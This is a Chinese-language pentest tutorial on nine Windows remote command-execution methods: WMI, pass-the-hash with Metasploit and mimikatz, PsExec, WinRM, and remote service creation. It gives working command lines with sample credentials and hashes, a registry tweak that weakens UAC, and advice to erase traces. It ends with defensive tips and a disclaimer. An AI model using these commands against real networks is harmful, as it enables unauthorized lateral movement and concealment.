windows远程执行cmd命令的9种方法
字数 1206 2025-08-26 22:11:40
Windows远程执行CMD命令的9种方法详解
一、远程执行命令方式及对应端口
| 方法 | 使用端口 |
|---|---|
| IPC$+AT | 445 |
| PSEXEC | 445 |
| WMI | 135 |
| Winrm | 5985(HTTP)/5986(HTTPS) |
二、9种远程执行CMD命令的方法详解
1. WMI执行命令方式(无回显)
命令格式:
wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd.exe /c 命令>输出路径"
示例:
wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"
特点:
- 使用WMI服务(端口135)
- 命令执行结果不会直接显示,需要重定向到文件
- 需要管理员权限
2. Hash传递攻击(Pass-the-Hash)
步骤:
-
获取目标系统的NTLM Hash(如使用mimikatz)
administrator的hash示例: 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF -
使用Metasploit执行:
use exploit/windows/smb/psexec set RHOST 192.168.81.129 set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF set SMBUser Administrator run
特点:
- 不需要知道明文密码
- 需要目标系统未启用SMB签名或限制NTLM响应
- 需要管理员权限的Hash
3. Mimikatz传递Hash+AT计划任务
步骤:
-
使用mimikatz传递Hash:
mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF" -
建立连接并执行命令:
dir \\192.168.1.185\c$
特点:
- 结合了Hash传递和计划任务
- 需要目标系统开启计划任务服务
4. WMIcmd执行命令(有回显)
命令格式:
WMIcmd.exe -h 目标IP -d 主机名 -u 用户名 -p 密码 -c "命令"
示例:
WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"
特点:
- 相比原生WMI命令,可以直接看到命令执行结果
- 需要下载WMIcmd工具
5. Cobalt Strike远程执行命令
特点:
- 专业的渗透测试工具
- 支持多种协议和方式执行命令
- 具有强大的后渗透功能
6. Psexec.exe远程执行命令
步骤:
-
接受许可协议:
psexec /accepteula -
删除可能存在的服务:
sc delete psexesvc -
执行命令:
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe
特点:
- 微软官方工具
- 会在目标系统创建服务
- 需要管理员权限
7. Psexec.vbs远程执行命令
命令格式:
cscript psexec.vbs 目标IP 用户名 密码 "命令"
示例:
cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"
特点:
- VBS脚本版本
- 不需要安装,直接运行
8. Winrm远程执行命令
配置目标系统:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts = "*"}
客户端连接方式:
winrs -r:http://目标IP:5985 -u:用户名 -p:密码 "命令"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd
解决UAC问题:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
特点:
- Windows原生远程管理协议
- 需要5985或5986端口开放
- 需要手动启用服务
9. 远程命令执行SC(服务控制)
步骤:
-
建立IPC连接:
net use \\192.168.17.138\c$ "admin123" /user:pt007 -
上传文件:
copy test.exe \\192.168.17.138\c$ -
创建并启动服务:
sc \\192.168.17.138 create test binpath="c:\test.exe" sc \\192.168.17.138 start test -
清理:
sc \\192.168.17.138 del test
特点:
- 以SYSTEM权限执行
- 适合执行二进制文件
- 需要管理员权限
三、安全注意事项
- 这些方法大多需要管理员权限
- 在企业环境中使用前需获得授权
- 部分方法会被安全软件拦截
- 使用后应清理痕迹
- 某些方法需要特定服务开启(如SMB、WinRM等)
四、防御建议
- 限制管理员权限分配
- 启用SMB签名
- 限制NTLM使用
- 监控异常服务创建
- 定期审计日志
- 限制远程管理端口访问
以上方法仅供安全研究和授权测试使用,未经授权使用这些技术可能违反法律。